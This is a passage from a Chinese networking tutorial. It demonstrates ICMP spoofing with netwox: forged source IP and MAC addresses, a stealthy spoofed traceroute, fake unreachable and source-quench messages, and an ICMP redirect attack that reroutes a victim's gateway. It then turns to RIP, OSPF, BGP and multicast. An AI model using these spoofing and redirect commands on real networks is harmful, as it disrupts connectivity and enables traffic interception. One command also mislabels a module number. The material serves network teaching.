输出信息分为两部分,IP部分表示IPv4层信息,ICMP4_echo reply部分为ICMP响应包部分。这两部分中包含了多个字段信息。例如,IP部分中source的值为192.168.59.131,表示该IPv4数据包源IP地址(本地IP地址),destination的值为5.6.7.8,表示目标IP地址。这里的值均为默认值。用户可以对这些值进行修改,自定义特定的ICMP数据包。

(2)伪造源IP地址为192.168.59.160,执行命令如下:

root@daxueba:~# netwox 41 -l 192.168.59.160 -m 192.168.59.135

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________ |
| id |r|D|M| offsetfrag |
|_________0xDD2B=56619__________|0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x01=1_____|____________0xE55A_____________ |
| source |
|________________________192.168.59.160_________________________ |
| destination |
|________________________192.168.59.135_________________________ |
ICMP4_echo reply________________________________________________.
| type | code | checksum |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________ |
| id | seqnum |
|___________0x0000=0____________|___________0x0000=0____________ |
| data: |
|_______________________________________________________________ |

其中,IP部分的source的值由原来的本地地址192.168.59.131变为了192.168.59.160;destination的值由默认的5.6.7.8变为了192.168.59.135。

(3)通过捕获数据包,验证伪造的ICMP请求包是否被发送,如图所示。

图中第4个数据包为伪造的数据包,源IP地址为伪造的地址192.168.59.160,而不是本地IP地址。Ech0(ping)reply表示该数据包为ICMP请求数据包。

7)伪造ICMP数据包的Ethernet层

用户不仅可以对ICMP数据包的IPv4层进行伪造,还可以对ICMP数据包的Ehternet层进行伪造。这时,需要使用netwox工具中编号为37的模块。该模块可以伪造ICMP数据包的MAC地址信息。

基于主机192.168.59.131,伪造ICMP数据包的Ethernet层信息。

(1)查看ICMP包的Ehternet默认值,执行命令如下:

root@daxueba:~# netwox 37

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:AA:E0:27->00:08:09:0A:0B:0C type:0x0800 |
|_______________________________________________________________ |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________ |
| id |r|D|M| offsetfrag |
|__________0x18A0=6304__________|0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x01=1_____|____________0x9A08_____________ |
| source |
|________________________192.168.59.131_________________________ |
| destination |
|____________________________5.6.7.8____________________________ |
ICMP4_echo reply________________________________________________.
| type | code | checksum |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________ |
| id | seqnum |
|___________0x0000=0____________|___________0x0000=0____________ |
| data: |
|_______________________________________________________________ |

在以上输出信息中,第一行Ethernet表示ICMP数据包是基于以太网的数据包。默认源MAC地址为00:0C:29:AA:E0:27,目标MAC地址为00:08:09:0A:0B:0C。

(2)伪造源MAC地址为11:22:33:AA:BB:CC,指定目标IP地址为192.168.59.135,MAC地址为00:0C:29:CA:E4:66。

执行命令如下:

root@daxueba:~# netwox 37 -a 11:22:33:aa:bb:cc -m 192.168.59.135 -b 00:0c:29:ca:e4:66 -o 8

输出信息如下:

Ethernet________________________________________________________.
| 11:22:33:AA:BB:CC->00:0C:29:CA:E4:66 type:0x0800 |
|_______________________________________________________________ |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________ |
| id |r|D|M| offsetfrag |
|__________0x246B=9323__________|0|0|0|________0x0000=0________ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x01=1_____|____________0x9E08_____________ |
| source |
|________________________192.168.59.131_________________________ |
| destination |
|________________________192.168.59.135_________________________ |
ICMP4_echo reply________________________________________________.
| type | code | checksum |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________ |
| id | seqnum |
|___________0x0000=0____________|___________0x0000=0____________ |
| data: |
|_______________________________________________________________ |

从Ethernet部分可以看到,源MAC地址由原来的00:0C:29:AA:E0:27变为了11:22:33:aa:bb:cc;目标MAC地址由原来的00:08:09:0A:0B:0C变为了00:0C:29:CA:E4:66;而IP部分Source的值保留原来的值。

(3)为了验证构建的ICMP数据包,可以捕获数据包查看,如图所示。

从第6个数据包的Ethernet II部分可以看到,Source的值为11:22:33:aa:bb:cc,是伪造的MAC地址。在Internet ControlMessage Protocol部分中,Type值为8,Code值为0,表示该数据包为ICMP请求包。

(4)选择第7个数据包进行查看,如图所示。

从该数据包的Ethernet II部分可以看到,源MAC地址为目标主机的MAC地址00:0c:29:ca:e4:66,目标MAC地址为实施主机的MAC地址00:0c:29:aa:e0:27。这表示目标主机成功给伪造MAC地址的主机进行了回复。

在Internet Control Message Protocol部分中,Type值为0,Code值为0,表示该数据包为ICMP响应包。

5. ICMP协议应用-路由跟踪

路由跟踪功能是用来识别一个设备到另一个设备的网络路径。在一个简单的网络上,这个网络路径可能只经过一个路由器,甚至一个都不经过。但是在复杂的网络中,数据包可能要经过数十个路由器才会到达最终目的地。在通信过程中,可以通过路由跟踪功能判断数据包传输的路径。

1)使用traceroute命令

traceroute命令用来检测发出数据包的主机到目标主机之间所经过的网关。它通过设置探测包的TTL(存活时间)值,跟踪数据包到达目标主机所经过的网关,并监听来自网关ICMP的应答。

在主机192.168.12.106中,使用traceroute命令探测数据包到达目标www.qq.com 所经过的路由信息。

(1)进行路由跟踪,执行命令如下:

root@kali:~# traceroute www.qq.com

输出信息如下:

traceroute to www.qq.com (125.39.52.26), 30 hops max, 60 byte packets
1 localhost (192.168.12.1) 0.297 ms 0.297 ms 0.336 ms
2 localhost (192.168.0.1) 0.971 ms 0.969 ms 0.964 ms
3 1.164.185.183.adsl-pool.sx.cn (183.185.164.1) 4.941 ms 5.173 ms 5.511 ms
4 157.28.26.218.internet.sx.cn (218.26.28.157) 4.554 ms 4.898 ms 5.463 ms
5 237.151.26.218.internet.sx.cn (218.26.151.237) 37.650 ms 85.135.26.
218.router-switch.sx.cn (218.26.135.85) 15.346 ms 205.151.26.218.internet.
sx.cn (218.26.151.205) 18.777 ms
6 219.158.15.214 (219.158.15.214) 36.378 ms 38.361 ms 38.319 ms
7 * * *
8 no-data (125.39.79.162) 16.932 ms no-data (125.39.79.234) 16.165 ms
no-data (125.39.79.166) 16.766 ms
9 * * *
10 * * *
11 * * *
···                                 #省略其他信息

上述输出信息显示了跟踪到的路由地址信息。记录从序号1开始,每个记录就是一跳,而每一跳表示经过的一个网关。记录给出了每个网关对应的IP地址。

例如,经过的第2个网关的IP地址为192.168.0.1。其中,为***的记录表示可能被防火墙拦截的ICMP的返回信息。

(2)为了验证traceroute命令探测数据包,使用Wireshark捕获数据包进行查看,如图所示。

图中捕获的数据包的目标地址都为192.168.12.106,数据包协议都为ICMP,数据包的源IP地址为进行路由跟踪时所经过的网关地址。因此这些数据包都为路由返回主机192.168.12.106的ICMP包。

2)构造ICMP请求包进行路由跟踪

为了实施路由跟踪,也可以使用netwox工具提供的编号为57的模块,构造ICMP请求包进行路由跟踪,查询经过的路由地址。该工具也是通过设定TTL值的方式向目标发送ICMP请求,每经过一个路由都会得到相应的ICMP响应包,直到目标返回ICMP响应。其中,超时消息的ICMP数据包的报文中类型值为11,代码值为0。

在主机192.168.12.106上,构造ICMP请求包对目标125.39.52.26进行路由跟踪。

(1)进行路由跟踪,执行命令如下:

root@kali:~# netwox 57 -i 125.39.52.26

输出信息如下:

1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.151.161
6 : 219.158.15.214
8 : 125.39.79.158
14 : 125.39.52.26

输出信息显示了经过的路由IP地址。

(2)通过Wireshark抓包,验证构造的ICMP请求包和对应的响应包,如图所示。

其中,第1个数据包是向目标主机发送的ICMP请求包,第2个数据包为经过的第一个路由返回的ICMP响应包,是一个超时消息数据包;第3个数据包是再次向目标主机发送的ICMP请求数据包;第4个数据包为经过的第二个路由返回的ICMP响应包,同样也是一个超时消息数据包。以此类推,直到成功得到目标125.39.52.26返回的ICMP响应信息。

(3)选择任意一个路由返回的ICMP数据包,如图所示。

例如,第15个数据包是路由125.39.79.158返回的响应包。在Internet Control Message Protocol部分中,Type值为11,Code值为0,表示该数据包为ICMP超时消息数据包。

(4)选择最后一个数据包进行查看,如图所示。

该数据包源IP地址为125.39.52.26(目的),目标IP地址为192.168.12.106(实施主机的),表示该数据包是目标主机返回构造ICMP请求的主机的数据包。在Internet Control Message Protocol部分中,Type值为0,Code值为0,表示该数据包是一个正常的ICMP响应数据包。

3)伪造ICMP请求包进行路由跟踪

使用上述方式进行路由跟踪时,容易被目标主机发现。为了避免这种情况,用户可以使用netwox工具提供的编号为58的模块伪造ICMP请求包。它可以伪造主机IP地址和MAC地址。

在主机192.168.12.106上,伪造ICMP请求包对目标125.39.52.26进行路由跟踪。

(1)伪造源IP地址为192.168.12.130,MAC地址为00:01:02:12:13:14,指定目标IP地址为125.39.52.26,MAC地址为ec:17:2f:46:70:ba,执行命令如下:

root@kali:~# netwox 58 -I 192.168.12.130 -E 00:01:02:12:13:14 -i 125.39.52.26 -e ec:17:2f:46:70:ba

输出信息如下:

1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.151.161
6 : 219.158.15.214
8 : 125.39.79.158
14 : 125.39.52.26

(2)通过Wireshark抓包,验证伪造的ICMP请求包,如图所示。

其中,第3~33个数据包为进行路由跟踪所产生的ICMP数据包,并且可以看到经过的路由返回了超时消息ICMP数据包。

(3)选择第3个数据包,查看地址信息,如图所示。

其中,源IP地址为伪造的192.168.12.130,目标地址为125.39.52.26。在Ethernet II部分中,源MAC地址为伪造的00:01:02:12:13:14。

6. ICMP协议其他应用

1)发送ICMP时间戳请求

ICMP时间戳请求允许系统向另一个系统查询当前的时间,但不包含日期。返回的建议值是自午夜零点开始计算的时间(UTC)。

ICMP时间戳请求与应答报文格式如图所示:

在发送ICMP时间戳请求时,请求端填写发起时间戳,然后发送报文。应答系统收到请求报文时填写接收时间戳,在发送应答时填写发送时间戳。在请求和响应的交互过程中,当ICMP报文中的类型值为13、代码值为0时,数据包为ICMP时间戳请求数据包;当ICMP报文中的类型值为14,代码值为0时,数据包为ICMP时间戳应答数据包。

netwox工具提供编号为81的模块,用于构建时间戳请求。

向目标主机192.168.59.135发送ICMP时间戳请求,探测数据包传输的时间。

(1)发送ICMP时间戳请求,执行命令如下:

root@daxueba:~# netwox 81 -i 192.168.59.135

输出信息如下:

0 0

输出信息表示目标主机可达,如果目标主机不可达,将显示信息如下:

No answer.

(2)可以通过Wireshark进行抓包,验证成功发送了时间戳请求,如图所示。

其中,第6个数据包为ICMP时间戳请求。在Internet Control Message Protocol部分中,Type值为13,Code值为0,表示该数据包为ICMP时间戳请求。Originate timestamp的值表示数据包发起的起始时间,这里为0秒(午夜0点0秒);Receive timestamp的值表示接收数据包的时间,这里为0秒;Transmit timestamp的值表示数据包的发送时间,这里为0秒。时间为0秒,是因为从午夜零点开始计算。

(3)选择对应的响应包查看信息,如图所示。

其中,第7个数据包为ICMP时间戳应答。在Internet Control Message Protocol部分中,Type值为14,Code值为0,表示该数据包为ICMP时间戳应答。Originate timestamp的值表示数据包发起的起始时间,这里为0秒(午夜零点后开始计算);Receive timestamp的值表示接收数据包的时间,这里为午夜零点后8小时44分24.379秒;Transmit timestamp的值表示数据包的发送时间,这里为31464379秒,时间为午夜零点后8小时44分24.379秒。

2)伪造请求超时ICMP数据包

在网络传输IP数据报的过程中,如果IP数据包的TTL值逐渐递减为0时,需要丢弃数据报。这时,路由器需要向源发送方发送ICMP超时报文,表示传输过程中超时了。在超时ICMP数据包报文中,类型值为11,代码值为0。用户可以通过netwox工具中编号为83的模块伪造请求超时ICMP数据包。

已知主机A的IP地址为192.168.59.134,主机B的IP地址为192.168.59.135,在主机C上伪造请求超时ICMP数据包。

(1)在主机A上ping主机B,执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=0.447 ms
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.468 ms
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.773 ms
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.307 ms

上述输出信息表示主机B是可达的,并且给出了传输的时间。例如,time=0.447ms,表示时间需要0.447毫秒。

(2)在主机C上伪造请求超时ICMP数据包,设置源IP地址为192.168.59.135,执行命令如下:

root@daxueba:~# netwox 83 -i 192.168.59.135

执行命令后没有任何输出信息,但是成功伪造了请求超时ICMP数据包。

(3)再次在主机A上ping主机B,执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=6 ttl=64 time=0.336 ms
From 192.168.59.135 icmp_seq=6 Time to live exceeded
64 bytes from 192.168.59.135: icmp_seq=7 ttl=64 time=0.532 ms
From 192.168.59.135 icmp_seq=7 Time to live exceeded
64 bytes from 192.168.59.135: icmp_seq=8 ttl=64 time=0.495 ms
From 192.168.59.135 icmp_seq=8 Time to live exceeded

从上述输出信息可以看到,主机A向主机192.168.59.135发送了ping请求。部分请求没有收到响应信息,而显示了Time to live exceeded信息,表示时间超时。

(4)为了验证伪造的请求超时ICMP数据包,可以通过捕获数据包查看,如图所示。

捕获到了若干个ICMP超时数据包。其中,第3个数据包的源IP地址为192.168.59.134,目标IP地址为192.168.59.135,是主机A向主机B发送的ICMP请求包;第5个数据包源IP地址为192.168.59.135,目标IP地址为192.168.59.134,Info列显示的Time-to-liveexceeded表示时间超时,说明该数据包为伪造的请求超时ICMP包。

(5)选择第5个数据包,查看包信息,如图所示。

在该数据包的Internet Control Message Protocol部分中,Type值为11,Code值为0,说明该数据包是请求超时ICMP数据包。

3)伪造目标不可达

目标不可达包是指路由器无法将IP数据包发送给目标地址时,会给发送端主机返回一个目标不可达的ICMP消息。在目标不可达报文中,类型值为3,代码值为1。伪造这类数据包需要使用netwox工具中编号为82的模块。

已知主机A的IP地址为192.168.59.134,主机B的IP地址为192.168.59.135,在主机C上伪造目标不可达ICMP数据包。

(1)在主机C上伪造目标不可达ICMP数据包,设置源IP地址为192.168.59.135,执行命令如下:

root@daxueba:~# netwox 82 -i 192.168.59.135

执行命令后没有任何输出信息,说明成功伪造了目标主机不可达ICMP数据包。

(2)在主机A上ping主机B,执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=3.95 ms
From 192.168.59.135 icmp_seq=1 Destination Host Unreachable
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.608 ms
From 192.168.59.135 icmp_seq=2 Destination Host Unreachable
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.341 ms
From 192.168.59.135 icmp_seq=3 Destination Host Unreachable
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.499 ms
From 192.168.59.135 icmp_seq=4 Destination Host Unreachable

从上述输出信息可以看到,主机A向主机192.168.59.135发送了ping请求,但是部分请求没有得到响应信息,而显示了Destination HostUnreachable信息,表示目标主机不可达。

(3)为了验证伪造的目标不可达ICMP数据包,可以使用Wireshark抓包查看,如图所示。

捕获到了若干个ICMP数据包。其中,第3个数据包的源IP地址为192.168.59.134,目标IP地址为192.168.59.135,是主机A向主机B发送的ICMP请求包;第5个数据包的源IP地址为192.168.59.135,目标IP地址为192.168.59.134,Info列显示的Destination unreachable(Host unreachable)表示目标主机不可达,说明该数据包为伪造的目标不可达ICMP数据包。

(4)选择第5个数据包,查看包信息,如图所示。

在该数据包的Internet Control Message Protocol部分中,Type值为3,Code值为1,说明该数据包是目标不可达ICMP数据包。

4)伪造参数错误ICMP数据包

当路由器或主机处理数据报时,发现因为报文头的参数错误而不得不丢弃报文时,需要向源发送方发送参数错误报文。该报文中,类型值为12,代码值为0。伪造这类数据包需要使用netwox工具中编号为84的模块。

已知主机A的IP地址为192.168.59.134,主机B的IP地址为192.168.59.135,在主机C上伪造参数错误ICMP数据包。

(1)在主机C上伪造参数错误ICMP数据包,设置源IP地址为192.168.59.135,执行命令如下:

root@daxueba:~# netwox 82 -i 192.168.59.135

执行命令后没有任何输出信息,但是会伪造参数错误ICMP数据包。

(2)在主机A上ping主机B,执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=11.1 ms
From 192.168.59.135 icmp_seq=1 Parameter problem: pointer = 0
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.546 ms
From 192.168.59.135 icmp_seq=2 Parameter problem: pointer = 0
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.453 ms
From 192.168.59.135 icmp_seq=3 Parameter problem: pointer = 0

从输出信息可以看到,主机A向主机192.168.59.135发送了ping请求,但部分请求没有得到响应信息,而显示了Parameter problem信息,表示参数错误。

(3)通过捕获数据包,验证伪造的参数错误的ICMP数据包,如图所示。

捕获到了若干个ICMP数据包,第1个数据包的源IP地址为192.168.59.134,目标IP地址为192.168.59.135,是主机A向主机B发送的ICMP请求包;第3个数据包的源IP地址为192.168.59.135,目标IP地址为192.168.59.134,Info列显示的Parameter problem表示参数错误,说明该数据包为伪造的参数错误ICMP数据包。

(4)选择第3个数据包,查看包信息,如图所示。

在InternetControl Message Protocol部分中,Type值为12,Code值为0,说明该数据包是参数错误ICMP数据包。

5)伪造源站抑制ICMP数据包

主机在处理报文时会有一个缓存队列。当主机接收数据包的速度比处理速度快时,一旦超过最大缓存队列,主机将无法处理,从而选择丢弃报文。这时,主机会向源发送方发送一个ICMP源站抑制报文,告诉对方缓存队列已满,稍后再进行请求。在这种类型的报文中,类型值为4,代码值为0。伪造这类数据包需要使用netwox工具中编号为85的模块。

已知主机A的IP地址为192.168.59.134,主机B的IP地址为192.168.59.135。在主机C上伪造源站抑制ICMP数据包。

(1)在主机C上伪造源站抑制ICMP数据包,设置源IP地址为192.168.59.135,执行命令如下:

root@daxueba:~# netwox 85 -i 192.168.59.135

执行命令后没有任何输出信息,但是成功伪造了源站抑制ICMP数据包。

(2)在主机A上ping主机B,执行命令如下:

root@daxueba:~# ping 192.168.59.135

输出信息如下:

PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=1.77 ms
From 192.168.59.135: icmp_seq=1 Source Quench
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.429 ms
From 192.168.59.135: icmp_seq=2 Source Quench
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=18.8 ms
From 192.168.59.135: icmp_seq=3 Source Quench

从输出信息可以看到,主机A向主机192.168.59.135发送了ping请求,但是部分请求没有得到响应信息,而显示了Source Quench信息,表示源站抑制。

(3)通过捕获数据包,验证伪造的源站抑制的ICMP数据包,如图所示。

捕获到了若干个ICMP数据包,其中,第4个数据包的源IP地址为192.168.59.134,目标IP地址为192.168.59.135,是主机A向主机B发送的ICMP请求包;第6个数据包的源IP地址为192.168.59.135,目标IP地址为192.168.59.134,Info列显示的Source Quench表示源站抑制,说明该数据包为伪造的源站抑制ICMP数据包。

(4)选择第6个数据包,查看包信息,如图所示。

在Internet Control Message Protocol部分中,Type值为4,Code值为0,说明该数据包是源站抑制ICMP数据包。

6)伪造重定向ICMP数据包

当路由收到IP数据报,发现数据报的目的地址在路由表上却不存在时,它发送ICMP重定向报文给源发送方,提醒它接收的地址不存在,需要重新发送给其他地址进行查找。在该类型报文中,类型值为5,代码值为0。伪造这种类型的数据包需要使用netwox工具中编号为86的模块。

已知主机A的IP地址为192.168.59.132,netwox工具所在主机IP地址为192.168.59.135。基于netwox所在主机向主机A实施攻击。为了不让目标主机发现攻击的来源,伪造数据包的源IP地址为192.168.59.136,将目标主机的网关修改为网段中的其他主机,使目标主机发送的数据包重定向到该主机上。具体步骤如下:

(1)查看目标主机A的网关。在目标主机A上,向www.qq.com 发送ping请求。通过捕获数据包,查看网关信息,如图所示。

图中第2帧和第3帧为DNS协议查询数据包,是通过网关查询www.qq.com 主机的IP地址信息。从中可以判断,目标主机的网关为192.168.59.2。

(2)向目标主机发送重定向数据包,设置源IP地址为192.168.59.136,将目标主机发送的数据包重定向到主机192.168.59.131上,执行命令如下:

root@daxueba:~# netwox 86 -g 192.168.59.131 -c 1 -i 192.168.59.136

执行命令没有任何输出信息。

(3)在目标主机上向www.qq.com 发送ping请求,执行命令如下:

root@daxueba:~# ping www.qq.com

输出信息如下:

PING https.qq.com (125.39.52.26) 56(84) bytes of data.
64 bytes from no-data (125.39.52.26): icmp_seq=1 ttl=128 time=25.6 ms
From localhost (192.168.59.136): icmp_seq=1 Redirect Host(New nexthop:
localhost (192.168.59.131))
From localhost (192.168.59.136): icmp_seq=2 Redirect Host(New nexthop:
localhost (192.168.59.131))
64 bytes from no-data (125.39.52.26): icmp_seq=2 ttl=128 time=25.2 ms
From localhost (192.168.59.136): icmp_seq=3 Redirect Host(New nexthop:
localhost (192.168.59.131))
64 bytes from no-data (125.39.52.26): icmp_seq=3 ttl=128 time=27.1 ms
64 bytes from no-data (125.39.52.26): icmp_seq=4 ttl=128 time=25.5 ms
From localhost (192.168.59.136): icmp_seq=4 Redirect Host(New nexthop:
localhost (192.168.59.131))

上述输出信息中,64 bytes from no-data(125.39.52.26):icmp_seq=1 ttl=128 time=25.6 ms表示成功向目标www.qq.com 发送ping请求;From localhost(192.168.59.136):icmp_seq=1 Redirect Host(New nexthop:localhost(192.168.59.131))表示伪造的重定向ICMP数据包,源IP地址为
192.168.59.136,Redirect Host表示目标主机已经重定向,重定向到了主机192.168.59.131上。

(4)在目标主机上捕获数据包,验证重定向的数据包,如图所示。

其中,第11帧的源IP地址为192.168.59.136(设置的源IP地址),目标IP地址为192.168.59.132(设置的目标IP地址),Info列的Redirect(Redirect for host)表示该数据包是一个重定向数据包。在Internet Control Message Protocol部分中,Type值为5,Code值为1,说明该数据包是重定向的数据包;Gateway address:192.168.59.131表示该主机的网关被重新定向到了192.168.59.131。

(5)选择第13帧,查看网关的重定向信息,如图所示。

第13帧的源IP地址为192.168.59.136(设置的源IP地址),目标IP地址为192.168.59.2(目标主机A的网关)。该数据包也是一个重定向的数据包。在Internet Control Message Protocol部分中,Gateway address:192.168.59.131表示目标主机A的网关被修改为了192.168.59.131。

6、路由选择协议

因特网有两大类路由选择协议:

  • 内部网关协议 IGP (Interior Gateway Protocol)    即在一个自治系统内部使用的路由选择协议。目前这类路由选择协议使用得最多,如 RIP 和 OSPF 协议。
  • 外部网关协议EGP (External Gateway Protocol)    若源站和目的站处在不同的自治系统中,当数据报传到一个自治系统的边界时,就需要使用一种协议将路由选择信息传递到另一个自治系统中。这样的协议就是外部网关协议 EGP。在外部网关协议中目前使用最多的是 BGP-4。

1. RIP协议

1)工作原理

路由信息协议 RIP 是内部网关协议 IGP中最先得到广泛使用的协议。RIP 是一种分布式的基于距离向量的路由选择协议。RIP 协议要求网络中的每一个路由器都要维护从它自己到其他每一个目的网络的距离记录。

距离的解释:从一路由器到直接连接的网络的距离定义为 1。从一个路由器到非直接连接的网络的距离定义为所经过的路由器数加 1。RIP 协议中的“距离”也称为“跳数”(hop count),因为每经过一个路由器,跳数就加 1。

这里的“距离”实际上指的是“最短距离”。

RIP 认为一个好的路由就是它通过的路由器的数目少,即“距离短”。

RIP 允许一条路径最多只能包含 15 个路由器。“距离”的最大值为16 时即相当于不可达。可见 RIP 只适用于小型互联网。RIP 不能在两个网络之间同时使用多条路由。RIP 选择一个具有最少路由器的路由(即最短路由),哪怕还存在另一条高速(低时延)但路由器较多的路由。

三个要点:

  • 仅和相邻路由器交换信息。 
  • 交换的信息是当前本路由器所知道的全部信息,即自己的路由表。 
  • 按固定的时间间隔交换路由信息,例如,每隔 30 秒。

2)距离向量算法

收到相邻路由器(其地址为 X)的一个 RIP 报文:

(1)先修改此 RIP 报文中的所有项目:把“下一跳”字段中的地址都改为 X,并把所有的“距离”字段的值加 1。

(2)对修改后的 RIP 报文中的每一个项目,重复以下步骤:

若项目中的目的网络不在路由表中,则把该项目加到路由表中。

否则若下一跳字段给出的路由器地址是同样的,则把收到的项目替换原路由表中的项目。否则若收到项目中的距离小于路由表中的距离,则进行更新,否则,什么也不做。

(3)若 3 分钟还没有收到相邻路由器的更新路由表,则把此相邻路由器记为不可达路由器,即将距离置为16(距离为16表示不可达)。

(4)返回。

3)RIP协议的优缺点

RIP 存在的一个问题是当网络出现故障时,要经过比较长的时间才能将此信息传送到所有的路由器。

RIP 协议最大的优点就是实现简单,开销较小。

RIP 限制了网络的规模,它能使用的最大距离为 15(16 表示不可达)。路由器之间交换的路由信息是路由器中的完整路由表,因而随着网络规模的扩大,开销也就增加。

2. 内部网关协议 OSPF(Open Shortest Path First)

1)OSPF 协议的基本特点

“开放”表明 OSPF 协议不是受某一家厂商控制,而是公开发表的。

“最短路径优先”是因为使用了 Dijkstra 提出的最短路径算法SPF,OSPF只是一个协议的名字,它并不表示其他的路由选择协议不是“最短路径优先”,是分布式的链路状态协议。

2)三个要点

  1. 向本自治系统中所有路由器发送信息,这里使用的方法是洪泛法。
  2. 发送的信息就是与本路由器相邻的所有路由器的链路状态,但这只是路由器所知道的部分信息。“链路状态”就是说明本路由器都和哪些路由器相邻,以及该链路的“度量”(metric)。 
  3. 只有当链路状态发生变化时,路由器才用洪泛法向所有路由器发送此信息。

3)链路状态数据库

由于各路由器之间频繁地交换链路状态信息,因此所有的路由器最终都能建立一个链路状态数据库。

这个数据库实际上就是全网的拓扑结构图,它在全网范围内是一致的(这称为链路状态数据库的同步)。

OSPF 的链路状态数据库能较快地进行更新,使各个路由器能及时更新其路由表。OSPF 的更新过程收敛得快是其重要优点。

OSPF 不用 UDP 而是直接用 IP 数据报传送。

OSPF 构成的数据报很短。这样做可减少路由信息的通信量。

数据报很短的另一好处是可以不必将长的数据报分片传送。分片传送的数据报只要丢失一个,就无法组装成原来的数据报,而整个数据报就必须重传。

4)OSPF的其他特点

OSPF 对不同的链路可根据 IP 分组的不同服务类型 TOS 而设置成不同的代价。因此,OSPF 对于不同类型的业务可计算出不同的路由。

如果到同一个目的网络有多条相同代价的路径,那么可以将通信量分配给这几条路径。这叫作多路径间的负载平衡。

所有在 OSPF 路由器之间交换的分组都具有鉴别的功能。

支持可变长度的子网划分和无分类编址 CIDR。

每一个链路状态都带上一个 32 位的序号,序号越大状态就越新。

由于一个路由器的链路状态只涉及到与相邻路由器的连通状态,因而与整个互联网的规模并无直接关系。因此当互联网规模很大时,OSPF 协议要比距离向量协议 RIP 好得多。 

OSPF 没有“坏消息传播得慢”的问题,据统计,其响应网络变化的时间小于 100 ms。

3. 外部网关协议 BGP

BGP 是不同自治系统的路由器之间交换路由信息的协议。边界网关协议 BGP 只能是力求寻找一条能够到达目的网络且比较好的路由(不能兜圈子),而并非要寻找一条最佳路由。

1)BGP发言人

每一个自治系统的管理员要选择至少一个路由器作为该自治系统的“ BGP 发言人” 。一般说来,两个 BGP 发言人都是通过一个共享网络连接在一起的,而 BGP 发言人往往就是 BGP 边界路由器,但也可以不是 BGP 边界路由器。

2)BGP交换路由信息

一个 BGP 发言人与其他自治系统中的 BGP 发言人要交换路由信息,就要先建立 TCP 连接,然后在此连接上交换 BGP 报文以建立 BGP 会话(session),利用 BGP 会话交换路由信息。使用 TCP 连接能提供可靠的服务,也简化了路由选择协议。使用 TCP 连接交换路由信息的两个 BGP 发言人,彼此成为对方的邻站或对等站。

3)OSPF协议的特点

BGP 支持 CIDR,因此 BGP 的路由表也就应当包括目的网络前缀、下一跳路由器,以及到达该目的网络所要经过的各个自治系统序列。

在BGP 刚刚运行时,BGP 的邻站是交换整个的 BGP 路由表。但以后只需要在发生变化时更新有变化的部分。

这样做对节省网络带宽和减少路由器的处理开销方面都有好处。

7、路由器在网际互连中的作用

1. 路由器的结构

路由器是一种具有多个输入端口和多个输出端口的专用计算机,其任务是转发分组。也就是说,将路由器某个输入端口收到的分组,按照分组要去的目的地(即目的网络),把该分组从路由器的某个合适的输出端口转发给下一跳路由器。下一跳路由器也按照这种方法处理分组,直到该分组到达终点为止。

2. 转发和路由选择的区别

“转发”(forwarding)就是路由器根据转发表将用户的 IP 数据报从合适的端口转发出去。

“路由选择”(routing)则是按照分布式算法,根据从各相邻路由器得到的关于网络拓扑的变化情况,动态地改变所选择的路由。

路由表是根据路由选择算法得出的。而转发表是从路由表得出的。

在讨论路由选择的原理时,往往不去区分转发表和路由表的区别。

8、IP多播

1. IP多播要素

  1. 多播使用组地址—— IP 使用 D 类地址支持多播。多播地址只能用于目的地址,而不能用于源地址。  
  2. 永久组地址——由因特网号码指派管理局 IANA 负责指派。
  3. 动态的组成员 
  4. 使用硬件进行多播

3. 网际组管理协议 IGMP 

和 ICMP 相似,IGMP 使用 IP 数据报传递其报文(即 IGMP 报文加上 IP 首部构成 IP 数据报),但它也向 IP 提供服务。因此,我们不把 IGMP 看成是一个单独的协议,而是属于整个网际协议 IP 的一个组成部分。

第一阶段:当某个主机加入新的多播组时,该主机应向多播组的多播地址发送IGMP 报文,声明自己要成为该组的成员。本地的多播路由器收到 IGMP 报文后,将组成员关系转发给因特网上的其他多播路由器。

第二阶段:因为组成员关系是动态的,因此本地多播路由器要周期性地探询本地局域网上的主机,以便知道这些主机是否还继续是组的成员。

只要对某个组有一个主机响应,那么多播路由器就认为这个组是活跃的。

但一个组在经过几次的探询后仍然没有一个主机响应,则不再将该组的成员关系转发给其他的多播路由器。

9、虚拟专用网 VPN 和网络地址转换 NAT

